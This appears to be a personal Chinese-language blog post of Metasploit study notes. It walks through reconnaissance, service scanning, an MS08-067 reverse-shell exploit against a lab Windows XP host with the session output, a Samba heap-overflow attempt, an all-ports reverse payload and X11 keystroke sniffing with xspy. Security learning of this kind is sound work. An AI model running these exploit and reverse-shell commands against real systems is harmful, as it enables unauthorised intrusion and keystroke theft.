metasploit学习记录

安装

1
pacman -S metasploit

简单介绍

msfconsole

以后会主要用到的交互工具

msfcli

本来是用来执行script的工具、目前已经弃用官方通告,功能已合并到msfconsole中

msfpayload

用以构造攻击载荷的工具目前已弃用官方通知,替代品为msfvenom

armitage

msfencode

用以处理解决shellcode传输过程中由于部分特殊字符导致的异常截断问题,同时可以用以规避明文传输导致杀软&检测系统的检测,目前已弃用同msfpayload

被动信息收集

常用命令

whois

用以查询目标域名的归属以及dns解析服务器位置

nslookup

用以挖掘域名的附加信息,例如邮箱nslookup 进入交互模式 set type=mx 输入域名就可以查询域名的邮箱服务托管地址

主动信息收集

nmap

主要用到的参数为-sS用以隐蔽检测目标主机端口,某些情况下需要制定-Pn表示不首先使用ping检测目标主机的存活,因为大部分互联网服务器都会禁止icmp协议,通过制定-A选项可以得到目标主机更详尽的信息

连接数据库

metasploit支持连接数据库(MySQL、postgre、sqllit3)postgre为默认支持,使用msfconsole进入交互模式之后数据db_connect user:passwd@ip/dbname进行连接

连接完成后登陆postgre数据库\c dbname,之后\l 可以看到建立了132个数据表我们可以使用\d tablename的方式进行表结构的查看

将nmap扫描信息导入数据库

1
2
3
4
nmap -sS -Pn 192.168.31.0/24 -oX localnet.xml
#将本地网络的扫描结果以xml的方式存储
db_import localnet.xml
hosts -c address#查看扫描的ip地址

nmap tcp空闲扫描

使用nmap可以进行更加隐蔽的扫描,前提是网络中存在一台使用递增IP帧标示空闲主机这样就可以在网络中伪装成这台机器对目标机器进行扫描(真猥琐哈哈),最终通过检查空闲主机的IP标示的断档情况来检查目标主机端口是否打开(p22)

知道在使用ping的时候有ttl这个概念可以通过其数值粗略估计出到目标主机的条数以及操作系统类型,但是这里说的ip帧标示不是特别理解,简单搜了一下看到说ip包里面还有一个identification字段,占16bits是一个唯一标示字段,在一段时间内IP发出的数据包都会有这个唯一标示,一般来说是递增

使用metasploit框架中的scanner/ip/ipidseq模块可以寻找能够作为中间主机的空闲主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
use auxiliary/scanner/ip/ipidseq
show options
Module options (auxiliary/scanner/ip/ipidseq):

Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(ipidseq) > set RHOSTS 192.168.31.0/24
RHOSTS => 192.168.31.0/24
msf auxiliary(ipidseq) > set THREADS 16
THREADS => 16
msf auxiliary(ipidseq) > run
[*] 192.168.31.1's IPID sequence class: All zeros #路由器输出
[*] Scanned 29 of 256 hosts (11% complete)
[*] 192.168.31.13's IPID sequence class: Incremental! #win7的机器符合标准
[*] 192.168.31.59's IPID sequence class: Randomized #macos的输出
[*] Scanned 55 of 256 hosts (21% complete)
[*] Scanned 77 of 256 hosts (30% complete)

可以通过调整threads的数量来调整扫描速度,一般来说过大会导致流量异常可能被检测出来,过小会导致扫描过慢,建议linux系统之上该值为16

假设我们找到了192.168.31.222主机作为中间主机那么执行命令nmap -PN -sI 192.168.31.222 192.168.31.155,在执行命令期间登录目标机器查看流量确实发现大量中间主机的流量

在msf终端中运行nmap

我们可以直接在msf中对nmap进行调用这样扫描结果会自动入库

  1. db_connection #首先执行远程连接
  2. 之后在msf中使用db_nmap来进行调用

使用metasploit进行端口扫描

运行如下命令可以查看框架提供的端口扫描工具

search portscan,以syn端口扫描器为例:

use scanner/portscan/sync

set RHOSTS 192.168.31.2

set THREADS 50

run

针对性扫描

当已经了解了目标的一部分信息之后可以使用针对性扫描快速深挖必要信息

服务器消息块协议扫描

利用smb_version模块可以便利一个网络并获取windows系统的版本号

use scanner/smb/smb_version

show options

hosts -c address,os_flavor可以查看数据库中保存的结果

搜索配置不当的microsoft sql server

由于很多开发组件的依赖都包含sql server(确实是这样)并且很多人可能并不知道也不在意sql server的存在以及版本更不会打补丁所以这是一个很好的入侵入口,因此首先我们可以使用mssql_ping来定位服务

use scanner/mssql/mssql_ping

show options

ssh服务器扫描

scanner/ssh/ssh_version

ftp扫描

ftp是一种复杂且缺乏安全特性的应用层协议,ftp服务器经常是进入一个目标网络最快捷的途径

首先使用ftp_version进行版本检测

use scanner/ftp/ftp_version

show options

msf auxiliary(ftp_version) > set RHOSTS 192.168.31.94
RHOSTS => 192.168.31.94
msf auxiliary(ftp_version) > run

[+] 192.168.31.94:21 - FTP Banner: ‘220 (vsFTPd 2.3.4)\x0d\x0a’
[] Scanned 1 of 1 hosts (100% complete)
[
] Auxiliary module execution completed

确认版本之后使用scanner/ftp/anonymous模块检测是否允许匿名登录

[+] 192.168.31.94:21 - 192.168.31.94:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[] Scanned 1 of 1 hosts (100% complete)
[
] Auxiliary module execution completed这里表示允许匿名读

snmp协议

这个协议很熟悉啊。。。首先来说这个协议的全程好像是simple net manage protocol简单网络管理协议,确实够简单的,v1 v2都不支持加密的:),大学毕业课设有用到这个协议,啧啧,相对来说是个普遍支持的协议,主要为了便于管理吗,而一旦便于管理当然也就便于攻陷了,之前使用的cacti监控就是使用这个协议来进行设备监控的,不仅主机支持,即便是网络设备一般都会带有支持该协议的功能,利用该协议可以获取信息甚至对目标进行管理

使用scanner/snmp/snmp_login模块进行扫描尝试获取团体字符串,因为大部分设备都会使用默认设置。。。因此大部分人都懒得配置这些,网络安全真的是零和博弈啊。。。p30

编写自己的扫描器

ruby代码

漏洞扫描

主要是nessus以及nexpose(目前貌似已经更名)

两种工具都提供了web端进行漏洞扫描,同时支持将扫描结果导入metasploit,同时metasploit提供了插件可以直接与扫描工具进行交互

load nexpose

nexpose_connect -h 查看可用参数,之后连接扫描器

nexpose_scan 192.168.31.1

load nessus

ness_connect -h

nessus_policy_list

nessus_scan_new

nessus_scan_new 2 bridge_scan 192.168.31.1

nessus_report_list

专用漏洞扫描

metasploit自带提供了一些漏洞扫描例如使用smb漏洞扫描

use ausiliary/scanner/smb/smb_login

show options #该选项很实用!

以及vnc空口令扫描(之前安全意识薄弱的时候真的是什么漏洞什么空口令都有啊,现在这种就要少很多了)

use auxiliary/scanner/vnc/vnc_none_auth

如果找到了的话,那当然是就可以使用vnc进行远程连接啦!

扫描开发的x11服务器

use auxiliary/scanner/x11/open_x11

如果扫描到了目标机器使用xspy工具来进行连接

xspy -display 192.168.1.23:0 -delay 100

该工具会远程嗅探x服务器的键盘操作并记录下来用户使用ssh连接的登陆过程

自动化工具db_autopwn该模块会利用数据库中扫描到的信息尝试自动化攻击,然而这个模块貌似已经被去掉了。。。

渗透攻击

基础

通过执行show exploits 可以查看框架中所有可用的渗透攻击模块

通过执行show auxiliary会显示所有的辅助模块以及其用途辅助工具模块包含:扫描器、拒绝服务攻击工具、fuzz测试器等

通过执行show options可以看到各个模块的详细指令

通过执行search keywords可以进行检索

通过执行back返回上一个状态

例如执行use windows/smb/ms_08_067_netapi选定使用该漏洞进行攻击

show payloads

通show options命令一样,在当前模块的命令提示符中执行show payloads会将该模块关联的攻击载荷打印出来,这样就可以进行选定

NAME RANK Description

windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6)
windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager
windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager
windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS)
windows/upexec/reverse_tcp_rc4 normal Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/upexec/reverse_tcp_uuid normal Windows Upload/Execute, Reverse TCP Stager with UUID Support

通过执行set payload windows/shell/reverse_tcp选择反弹时tcp连接攻击载荷,在这之后再执行show options就会输出更加详尽的帮助信息

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

PS:该攻击载荷称为反弹式攻击载荷,因为连接是有目标主机发起,并且其连接对象是攻击机,使用这种方法可以穿透防火墙或者nat网关

通过执行show targets可以查看手该漏洞影响目标系统的类型,比如,ms08-067漏洞由于依赖于特定的硬编码内存地址,所以这个攻击仅仅针对特定的操作系统版本且和特定的不定级别语言版本以及安全机制有关,如果采用其默认的Automatic Targeting自动选择,可能无法正常工作,并且容易触发错误的攻击行为导致目标服务崩溃使用set targets 10进行选定目标类型

可以使用info命令输出十分详尽的信息

通过执行setunset进行设置、取消参数设置

同样的,我们也可以进行全局变量的设置或者清除,毕竟更换模块之后总是set也是一件很烦人的事情,使用setg/unsetg能够对全局参数进行设置或者清除

进行完全局设置后可以通过执行save将参数进行保存,其会将文件保存在当前用户目录下,想要取消只需要删除相应的文件即可

第一次渗透攻击

#####攻击一台winxp sp2

首先是使用nmap进行扫描

nmap -sT -A —script=smb-check-vulns -PO 192.168.31.60

-sT指隐秘的tcp连接扫描其他类似的还有-sS隐秘的TCP sync扫描 -A指高级操作系统探测功能,一次攻击的成功失败与否取决于主机的操作系统版本、安装的服务包、以及语言类型、同时还依赖与是否成功地绕过了数据保护这一层。数据保护(DEP)是为了防御缓冲区溢出,但是该保护是可以通过复杂的堆栈操作来绕过的。

use windows/smb/ms_08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set TARGET 10

set RHOST 192.168.31.60

set LHOST 192.168.31.14

set LPORT 8080

show options #确认参数被正确设置了

exploit

如下输出表示成功了!我去。。。这就跪了啊,震惊了

msf exploit(ms08_067_netapi) > exploit

[] Started reverse TCP handler on 192.168.31.14:8080
[
] 192.168.31.60:445 - Attempting to trigger the vulnerability…
[] Encoded stage with x86/shikata_ga_nai
[
] Sending encoded stage (267 bytes) to 192.168.31.60
[*] Command shell session 1 opened (192.168.31.14:8080 -> 192.168.31.60:2982) at 2017-09-24 06:02:09 +0000

Microsoft Windows XP [?汾 5.1.2600]
(C) ??Ȩ???? 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>dir

成功了!!!网络安全真的是脆弱啊

攻击一台linux机器

同样的方式扫描 :)

靶机是一台Metasploitable机器,扫描到的指纹信息显示是Ubuntu并且开放了好多端口

search samba

use exploit/linux/samba/lsa_transnames_heap

show payloads

set payload linux/x86/shell_bind_tcp

set LPORT 8080

set RHOST 192.168.31.94

exploit

失败。。。尝试了几个其他的服务也同样是失败的,好吧。。那就只能继续了

本次攻击linux服务使用的方式为堆溢出攻击,使用内存动态分配的漏洞来出发攻击代码,这种攻击并不是100%可靠地,如果第一次失败了,可以多执行几次,这里使用的是一个bind绑定的shell,在目标主机上打开了一个监听端口metasploit为我们创建了一个直接到目标系统的连接

如果攻击的机器在防火墙之后,或者是nat网关之后应该使用反弹式连接攻击载荷

暴力猜解目标开放的端口

在之前的攻击中之所以成功很大一部分原因是由于反弹连接使用的端口没有被防火墙过滤掉,但是如果我们攻击的组织内部设置了严格的出站端口过滤怎么办?

一般来说80,443,22,23端口都是开放的,这个可以逐一进行尝试,同样的metasploit提供了一个专用的攻击载荷帮助我们找到方形的端口号

use windows/smb/ms_08_067_netapi

set LHOST 192.168.31.14

set RHOST 192.168.31.60

set TARGET 3

search ports

set PAYLOAD windows/meterpreter/reverse_the_allports

exploit -j

这种情况下没有指定LPORT参数是因为使用的攻击载荷会遍历直到遇到一个方形的端口号建立连接

资源文件

主要是在msf终端中执行一些自动化的东西

例如

1
2
3
echo version >> resource.rc
echo load sounds >> resource.rc
msfconsole -r resource.rc

转载请注明来源链接 http://just4fun.im/2017/09/16/metasploit学习记录/ 尊重知识,谢谢:)